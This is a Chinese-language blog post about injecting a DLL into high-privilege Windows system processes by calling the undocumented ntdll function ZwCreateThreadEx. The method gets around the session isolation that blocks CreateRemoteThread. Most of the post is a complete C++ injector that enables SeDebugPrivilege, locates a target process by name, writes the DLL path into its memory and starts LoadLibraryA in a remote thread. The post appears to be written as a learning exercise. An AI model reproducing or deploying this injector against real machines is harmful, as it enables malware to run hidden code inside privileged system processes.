安全之路 —— 利用内核函数实现注入系统进程

简介

在之前的文章中曾说过利用CreateRemoteThread函数进行远线程注入是最经典的一种方式。但是这种方式却无法成功注入系统进程,因为系统进程是处在SESSION0高权限级别的会话层,用户进程在执行CreateRemoteThread函数时会失败。所以经过前辈们的研究发现,CreateRemoteThread底层会调用内核函数ZwCreateThreadEx,而系统调用此函数时,如果发现时系统进程,会把函数的第七个参数CreateSuspended设置为1,导致线程创建完成后会一直处于挂起状态,无法恢复运行,导致注入失败。所以我们必须手动调用ZwCreateThread这一内核函数,将第七个参数设置为0即可。系统进程注入成功后,由于会话层隔离机制,所以DLL的对话框并不会弹出,这时我们就需要使用PCHunter等工具直接查看进程模块进行验证。

然而ZwCreateThreadEx函数在ntdll.dll中并未声明,所以必须手动使用GetProcAddress函数将其地址导出。

代码样例

////////////////////////////////
//
// FileName : KernelFuncInject.cpp
// Creator : PeterZheng
// Date : 2019/01/10 21:32
// Comment : Use Kernel Function To Inject
//
////////////////////////////////

#pragma once
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>

#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

using namespace std;

// 提权函数
BOOL EnableDebugPriv(LPCSTR name)
{
	HANDLE hToken;
	LUID luid;
	TOKEN_PRIVILEGES tp;
	// 打开进程令牌
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		printf("[!]Get Process Token Error!\n");
		return false;
	}
	// 获取权限Luid
	if (!LookupPrivilegeValue(NULL, name, &luid))
	{
		printf("[!]Get Privilege Error!\n");
		return false;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	// 修改进程权限
	if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
	{
		printf("[!]Adjust Privilege Error!\n");
		return false;
	}
	return true;
}

// 根据进程名字获取进程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
	HANDLE hSnapProcess = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapProcess == NULL)
	{
		printf("[*] Create Process Snap Error!\n");
		return FALSE;
	}
	PROCESSENTRY32 pe32 = { 0 };
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);
	BOOL bRet = ::Process32First(hSnapProcess, &pe32);
	while (bRet)
	{
		if (_stricmp(pe32.szExeFile, szProcessName) == 0)
		{
			dwPid = pe32.th32ProcessID;
			return TRUE;
		}
		bRet = ::Process32Next(hSnapProcess, &pe32);
	}
	return FALSE;
}

int main(int argc, char* argv[])
{
	if (argc != 3)
	{
		printf("[*] Format Error!  \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
		return 0;
	}
	LPSTR szExeName = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPSTR szDllPath = (LPSTR)::VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	::RtlZeroMemory(szExeName, 100);
	::RtlZeroMemory(szDllPath, 100);
	::StringCchCopy(szExeName, 100, argv[1]);
	::StringCchCopy(szDllPath, 100, argv[2]);
	DWORD dwPid = 0;
	// 系统进程必须先提权才能打开,否则在OpenProcess步骤会失败
	EnableDebugPriv(SE_DEBUG_NAME);
	BOOL bRet = GetProcessIdByName(szExeName, dwPid);
	if (!bRet)
	{
		printf("[*] Get Process Id Error!\n");
		return 0;
	}
	HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL)
	{
		printf("[*] Open Process Error!\n");
		return 0;
	}
	DWORD dwDllPathLen = strlen(szDllPath) + 1;
	LPVOID lpBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (lpBaseAddress == NULL)
	{
		printf("[*] VirtualAllocEx Error!\n");
		return 0;
	}
	SIZE_T dwWriten = 0;
	// 把DLL路径字符串写入目标进程
	::WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
	if (dwWriten != dwDllPathLen)
	{
		printf("[*] Write Process Memory Error!\n");
		return 0;
	}
	// 获取LoadLibrary函数地址
	LPVOID pLoadLibraryFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (pLoadLibraryFunc == NULL)
	{
		printf("[*] Get Func Address Error!\n");
		return 0;
	}
	HMODULE hNtdll = ::LoadLibrary("ntdll.dll");
	if (hNtdll == NULL)
	{
		printf("[*] Load NtDLL Error!\n");
		return 0;
	}
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
	if (ZwCreateThreadEx == NULL)
	{
		printf("[*] Get NTDLL Func Address Error!\n");
		return 0;
	}
	DWORD dwStatus = 0;
	HANDLE hRemoteThread = NULL;
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryFunc, lpBaseAddress, 0, 0, 0, 0, NULL);
	if (hRemoteThread == NULL)
	{
		printf("[*] Create Remote Thread Error!\n");
		return 0;
	}

	// DLL路径分割,方便输出
	LPCSTR szPathSign = "\\";
	LPSTR p = NULL;
	LPSTR next_token = NULL;
	p = strtok_s(szDllPath, szPathSign, &next_token);
	while (p)
	{
		StringCchCopy(szDllPath, 100, p);
		p = strtok_s(NULL, szPathSign, &next_token);
	}
	printf("[*] High Privilege Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);

	::CloseHandle(hProcess);
	::FreeLibrary(hNtdll);
	::VirtualFree(szExeName, 0, MEM_RELEASE);
	::VirtualFree(szDllPath, 0, MEM_RELEASE);
	::ExitProcess(0);
	return 0;
}

运行截图

利用内核函数注入的运行截图

参考资料

  1. 《Windows黑客编程技术详解》 【甘迪文 著】
posted @ 2019-03-26 17:04  倚剑问天  阅读(2393)  评论(0编辑  收藏  举报